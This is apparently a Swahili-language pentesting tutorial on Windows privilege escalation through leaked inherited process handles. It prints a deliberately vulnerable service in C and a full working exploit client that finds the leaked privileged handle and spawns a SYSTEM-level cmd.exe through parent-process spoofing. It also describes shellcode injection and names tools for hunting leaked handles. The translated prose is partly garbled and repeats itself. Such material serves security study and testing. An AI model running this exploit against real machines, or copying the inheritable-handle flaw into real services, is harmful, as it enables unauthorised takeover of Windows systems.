Handles katika mchakato huruhusu kupata rasilimali tofauti za Windows:
Kumekuwa na kesi kadhaa za kupandisha hadhi ambapo mchakato wenye hadhi wenye mikono wazi na inayorithishwa umekuwa ukikimbiamchakato usio na hadhi ukimpa ufikiaji wa mikono hiyo yote.
Kwa mfano, fikiria kwamba mchakato unaokimbia kama SYSTEM unafungua mchakato mpya (OpenProcess()) kwa ufikiaji kamili. Mchakato huo huo pia unaunda mchakato mpya (CreateProcess()) ikiwa na hadhi ya chini lakini ikirithi mikono yote wazi ya mchakato mkuu.
Kisha, ikiwa una ufikiaji kamili kwa mchakato wa chini wa hadhi, unaweza kuchukua mkono wazi wa mchakato wenye hadhi ulioanzishwa na OpenProcess() na kuingiza shellcode.
Mikono ya Kuvutia
Mchakato
Kama unavyosoma katika mfano wa awali ikiwa mchakato usio na hadhi unarithi mkono wa mchakato wa mchakato wenye hadhi wenye ruhusa za kutosha utaweza kutekeleza kodia yoyote juu yake.
Katika hiki kifungu bora unaweza kuona jinsi ya kutumia mkono wowote wa mchakato ambao una mojawapo ya ruhusa zifuatazo:
PROCESS_ALL_ACCESS
PROCESS_CREATE_PROCESS
PROCESS_CREATE_THREAD
PROCESS_DUP_HANDLE
PROCESS_VM_WRITE
Thread
Kama ilivyo kwa mikono ya mchakato, ikiwa mchakato usio na hadhi unarithi mkono wa thread wa mchakato wenye hadhi wenye ruhusa za kutosha utaweza kutekeleza kodia yoyote juu yake.
Katika hiki kifungu bora unaweza pia kuona jinsi ya kutumia mkono wowote wa mchakato ambao una mojawapo ya ruhusa zifuatazo:
THREAD_ALL_ACCESS
THREAD_DIRECT_IMPERSONATION
THREAD_SET_CONTEXT
Mikono ya Faili, Funguo & Sehemu
Ikiwa mchakato usio na hadhi unarithimkono wenye kuandika sawa na ruhusa juu ya faili au rejista yenye hadhi, utaweza kuandika upya faili/rejista (na kwa bahati kubwa, kupandisha hadhi).
Mikono ya Sehemu ni sawa na mikono ya faili, jina la kawaida la aina hii ya vitu ni "File Mapping". Zinatumika kufanya kazi na faili kubwa bila kuweka faili nzima kwenye kumbukumbu. Hii inafanya matumizi kuwa "sawa" na matumizi ya Mkono wa Faili.
Jinsi ya kuona mikono ya michakato
Mchakato Hacker
Mchakato Hacker ni chombo unachoweza kupakua bure. Kina chaguzi kadhaa za kushangaza za kukagua michakato na moja yao ni uwezo wa kuona mikono ya kila mchakato.
Kumbuka kwamba ili kuona mikono yote ya michakato yote, SeDebugPrivilege inahitajika (hivyo unahitaji kuendesha Mchakato Hacker kama msimamizi).
Ili kuona mikono ya mchakato, bonyeza kulia kwenye mchakato na uchague Mikono:
Kisha unaweza kubonyeza kulia kwenye mkono na kuangalia ruhusa:
Sysinternals Mikono
Mikonobinary kutoka Sysinternals pia itataja mikono kwa kila mchakato kwenye console:
LeakedHandlesFinder
Chombo hiki kinakuruhusu kufuatilia mikono iliyovuja na hata kujiendesha ili kupandisha hadhi.
Mbinu
Sasa kwamba unajua jinsi ya kupata mikono ya michakato unachohitaji kuangalia ni ikiwa mchakato usio na hadhi unapata ufikiaji wa mikono yenye hadhi. Katika kesi hiyo, mtumiaji wa mchakato anaweza kuwa na uwezo wa kupata mkono na kuutumia vibaya ili kupandisha hadhi.
Ilisemwa hapo awali kwamba unahitaji SeDebugPrivilege ili kupata mikono yote. Lakini mtumiaji bado anaweza kupata mikono ya michakato yake, hivyo inaweza kuwa na manufaa ikiwa unataka privesc kutoka kwa mtumiaji huyo ili kutekeleza zana kwa ruhusa za kawaida za mtumiaji.
Kwa mfano, msimbo ufuatao unahusiana na huduma ya Windows ambayo itakuwa na udhaifu. Msimbo dhaifu wa binary ya huduma hii uko ndani ya Exploit kazi. Kazi hii inaanza kuunda mchakato mpya wa kushughulikia kwa ufikiaji kamili. Kisha, inaunda mchakato wa chini wa haki (kwa kunakili token ya chini ya haki ya explorer.exe) ikitekeleza C:\users\username\desktop\client.exe. Udhaifu uko katika ukweli kwamba inaunda mchakato wa chini wa haki na bInheritHandles kama TRUE.
Hivyo, mchakato huu wa chini wa haki unaweza kuchukua kushughulikia ya mchakato wa juu wa haki ulioanzishwa kwanza na kuingiza na kutekeleza shellcode (angalia sehemu inayofuata).
#include<windows.h>#include<tlhelp32.h>#include<tchar.h>#pragmacomment (lib, "advapi32")TCHAR* serviceName =TEXT("HandleLeakSrv");SERVICE_STATUS serviceStatus;SERVICE_STATUS_HANDLE serviceStatusHandle =0;HANDLE stopServiceEvent =0;//Find PID of a proces from its nameintFindTarget(constchar*procname) {HANDLE hProcSnap;PROCESSENTRY32 pe32;int pid =0;hProcSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);if (INVALID_HANDLE_VALUE == hProcSnap) return0;pe32.dwSize =sizeof(PROCESSENTRY32);if (!Process32First(hProcSnap,&pe32)) {CloseHandle(hProcSnap);return0;}while (Process32Next(hProcSnap,&pe32)) {if (lstrcmpiA(procname,pe32.szExeFile)==0) {pid =pe32.th32ProcessID;break;}}CloseHandle(hProcSnap);return pid;}intExploit(void) {STARTUPINFOA si;PROCESS_INFORMATION pi;int pid =0;HANDLE hUserToken;HANDLE hUserProc;HANDLE hProc;// open a handle to itself (privileged process) - this gets leaked!hProc =OpenProcess(PROCESS_ALL_ACCESS,TRUE, GetCurrentProcessId());// get PID of user low privileged processif ( pid =FindTarget("explorer.exe") )hUserProc =OpenProcess(PROCESS_QUERY_INFORMATION,FALSE, pid);elsereturn-1;// extract low privilege token from a user's processif (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS,&hUserToken)) {CloseHandle(hUserProc);return-1;}// spawn a child process with low privs and leaked handleZeroMemory(&si,sizeof(si));si.cb =sizeof(si);ZeroMemory(&pi,sizeof(pi));CreateProcessAsUserA(hUserToken,"C:\\users\\username\\Desktop\\client.exe",NULL,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);CloseHandle(hProc);CloseHandle(hUserProc);return0;}void WINAPI ServiceControlHandler( DWORD controlCode ) {switch ( controlCode ) {case SERVICE_CONTROL_SHUTDOWN:case SERVICE_CONTROL_STOP:serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );SetEvent( stopServiceEvent );return;case SERVICE_CONTROL_PAUSE:break;case SERVICE_CONTROL_CONTINUE:break;case SERVICE_CONTROL_INTERROGATE:break;default:break;}SetServiceStatus( serviceStatusHandle,&serviceStatus );}void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {// initialise service statusserviceStatus.dwServiceType = SERVICE_WIN32;serviceStatus.dwCurrentState = SERVICE_STOPPED;serviceStatus.dwControlsAccepted =0;serviceStatus.dwWin32ExitCode = NO_ERROR;serviceStatus.dwServiceSpecificExitCode = NO_ERROR;serviceStatus.dwCheckPoint =0;serviceStatus.dwWaitHint =0;serviceStatusHandle =RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );if ( serviceStatusHandle ) {// service is startingserviceStatus.dwCurrentState = SERVICE_START_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do initialisation herestopServiceEvent =CreateEvent( 0,FALSE,FALSE,0 );// runningserviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_RUNNING;SetServiceStatus( serviceStatusHandle,&serviceStatus );Exploit();WaitForSingleObject( stopServiceEvent,-1 );// service was stoppedserviceStatus.dwCurrentState = SERVICE_STOP_PENDING;SetServiceStatus( serviceStatusHandle,&serviceStatus );// do cleanup hereCloseHandle( stopServiceEvent );stopServiceEvent =0;// service is now stoppedserviceStatus.dwControlsAccepted &=~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);serviceStatus.dwCurrentState = SERVICE_STOPPED;SetServiceStatus( serviceStatusHandle,&serviceStatus );}}voidInstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CREATE_SERVICE );if ( serviceControlManager ) {TCHAR path[ _MAX_PATH +1 ];if ( GetModuleFileName( 0, path,sizeof(path)/sizeof(path[0]) )>0 ) {SC_HANDLE service =CreateService( serviceControlManager,serviceName, serviceName,SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,0,0,0,0,0 );if ( service )CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}voidUninstallService() {SC_HANDLE serviceControlManager =OpenSCManager( 0,0, SC_MANAGER_CONNECT );if ( serviceControlManager ) {SC_HANDLE service =OpenService( serviceControlManager,serviceName, SERVICE_QUERY_STATUS | DELETE );if ( service ) {SERVICE_STATUS serviceStatus;if ( QueryServiceStatus( service,&serviceStatus ) ) {if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )DeleteService( service );}CloseServiceHandle( service );}CloseServiceHandle( serviceControlManager );}}int_tmain( int argc, TCHAR* argv[] ){if ( argc >1&&lstrcmpi( argv[1], TEXT("install") )==0 ) {InstallService();}elseif ( argc >1&&lstrcmpi( argv[1], TEXT("uninstall") )==0 ) {UninstallService();}else {SERVICE_TABLE_ENTRY serviceTable[]= {{ serviceName, ServiceMain },{ 0,0 }};StartServiceCtrlDispatcher( serviceTable );}return0;}
Mfano wa Ukatili 1
Katika hali halisi huenda usimudu kudhibiti binary ambayo itatekelezwa na msimbo ulio hatarini (C:\users\username\desktop\client.exe katika kesi hii). Huenda ukaharibu mchakato na utahitaji kuangalia kama unaweza kufikia handle yoyote hatarini ya mchakato wowote wenye mamlaka.
Katika mfano huu unaweza kupata msimbo wa ukatili unaowezekana kwa C:\users\username\desktop\client.exe.
Sehemu ya kuvutia zaidi ya msimbo huu iko katika GetVulnProcHandle. Kazi hii itaanza kuchota handles zote, kisha itachunguza kama yoyote yao inamhusisha PID sawa na kama handle inamhusisha mchakato. Ikiwa masharti haya yote yanakamilika (handle ya mchakato wazi inayoweza kufikiwa inapatikana), inajaribu kuiingiza na kutekeleza shellcode kwa kutumia handle ya mchakato.
Uingizaji wa shellcode unafanywa ndani ya Inject kazi na itakuwa tu inaandika shellcode ndani ya mchakato wenye mamlaka na kuunda nyuzi ndani ya mchakato huo huo ili kutekeleza shellcode).
Katika hali halisi huenda usimudu binary ambayo itatekelezwa na msimbo dhaifu (C:\users\username\desktop\client.exe katika kesi hii). Huenda utaleta mchakato na utahitaji kuangalia kama unaweza kufikia handle yoyote dhaifu ya mchakato wowote wenye mamlaka.
Katika mfano huu, badala ya kutumia handle iliyo wazi kuingiza na kutekeleza shellcode, itakuwa inatumika token ya mchakato wa handle iliyo wazi yenye mamlaka kuunda mpya. Hii inafanywa katika mistari kutoka 138 hadi 148.
Tazama jinsi kazi UpdateProcThreadAttribute inavyotumika na attribute PROC_THREAD_ATTRIBUTE_PARENT_PROCESS na handle ya mchakato wa wazi wenye mamlaka. Hii inamaanisha kwamba mchakato wa thread ulioanzishwa ukitekeleza _cmd.exe_** utakuwa na mamlaka sawa ya token kama mchakato wa handle iliyo wazi**.
#include<windows.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<time.h>#include<wincrypt.h>#include<psapi.h>#include<tchar.h>#include<tlhelp32.h>#include"client.h"#pragmacomment (lib, "crypt32.lib")#pragmacomment (lib, "advapi32")#pragmacomment (lib, "kernel32")HANDLE GetVulnProcHandle(void) {ULONG handleInfoSize =0x10000;NTSTATUS status;PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);HANDLE hProc =NULL;POBJECT_TYPE_INFORMATION objectTypeInfo;PVOID objectNameInfo;UNICODE_STRING objectName;ULONG returnLength;HMODULE hNtdll =GetModuleHandleA("ntdll.dll");DWORD dwOwnPID =GetCurrentProcessId();pNtQuerySystemInformation =GetProcAddress(hNtdll,"NtQuerySystemInformation");pNtDuplicateObject =GetProcAddress(hNtdll,"NtDuplicateObject");pNtQueryObject =GetProcAddress(hNtdll,"NtQueryObject");pRtlEqualUnicodeString =GetProcAddress(hNtdll,"RtlEqualUnicodeString");pRtlInitUnicodeString =GetProcAddress(hNtdll,"RtlInitUnicodeString");printf("[+] Grabbing handles...");while ((status =pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,NULL )) == STATUS_INFO_LENGTH_MISMATCH)phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *=2);if (status != STATUS_SUCCESS){printf("[!] NtQuerySystemInformation failed!\n");return0;}printf("done.\n[+] Fetched %d handles.\n",phHandleInfo->NumberOfHandles);// iterate handles until we find the privileged process handlefor (int i =0; i <phHandleInfo->NumberOfHandles; ++i){SYSTEM_HANDLE_TABLE_ENTRY_INFO handle =phHandleInfo->Handles[i];// Check if this handle belongs to our own processif (handle.UniqueProcessId != dwOwnPID)continue;objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectTypeInformation,objectTypeInfo,0x1000,NULL )!= STATUS_SUCCESS)continue;// skip some objects to avoid getting stuck// see: https://github.com/adamdriscoll/PoshInternals/issues/7if (handle.GrantedAccess ==0x0012019f&&handle.GrantedAccess !=0x00120189&&handle.GrantedAccess !=0x120089&&handle.GrantedAccess !=0x1A019F ) {free(objectTypeInfo);continue;}// get object name informationobjectNameInfo =malloc(0x1000);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,0x1000,&returnLength )!= STATUS_SUCCESS) {// adjust the size of a returned object and query againobjectNameInfo =realloc(objectNameInfo, returnLength);if (pNtQueryObject( (HANDLE) handle.HandleValue,ObjectNameInformation,objectNameInfo,returnLength,NULL )!= STATUS_SUCCESS) {free(objectTypeInfo);free(objectNameInfo);continue;}}// check if we've got a process objectobjectName =*(PUNICODE_STRING) objectNameInfo;UNICODE_STRING pProcess;pRtlInitUnicodeString(&pProcess, L"Process");if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName,&pProcess,TRUE)) {printf("[+] Found process handle (%x)\n",handle.HandleValue);hProc = (HANDLE) handle.HandleValue;free(objectTypeInfo);free(objectNameInfo);break;}elsecontinue;free(objectTypeInfo);free(objectNameInfo);}return hProc;}intmain(int argc,char**argv) {HANDLE hProc =NULL;STARTUPINFOEXA si;PROCESS_INFORMATION pi;int pid =0;SIZE_T size;BOOL ret;Sleep(20000);// find leaked process handlehProc =GetVulnProcHandle();if ( hProc !=NULL) {// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESSZeroMemory(&si,sizeof(STARTUPINFOEXA));InitializeProcThreadAttributeList(NULL,1,0,&size);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(),0, size );InitializeProcThreadAttributeList(si.lpAttributeList,1,0,&size);UpdateProcThreadAttribute(si.lpAttributeList,0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,&hProc,sizeof(HANDLE),NULL,NULL);si.StartupInfo.cb =sizeof(STARTUPINFOEXA);// Spawn elevated cmd processret =CreateProcessA( "C:\\Windows\\system32\\cmd.exe",NULL,NULL,NULL,TRUE,EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE,NULL,NULL, (LPSTARTUPINFOA)(&si),&pi );if (ret ==FALSE) {printf("[!] Error spawning new process: [%d]\n", GetLastError());return-1;}}Sleep(20000);return0;}
Chombo hiki kinakuruhusu kufuatilia handles zilizovuja ili kupata zile zenye udhaifu na hata kuzi exploit kiotomatiki. Pia kina chombo cha kuvuja moja.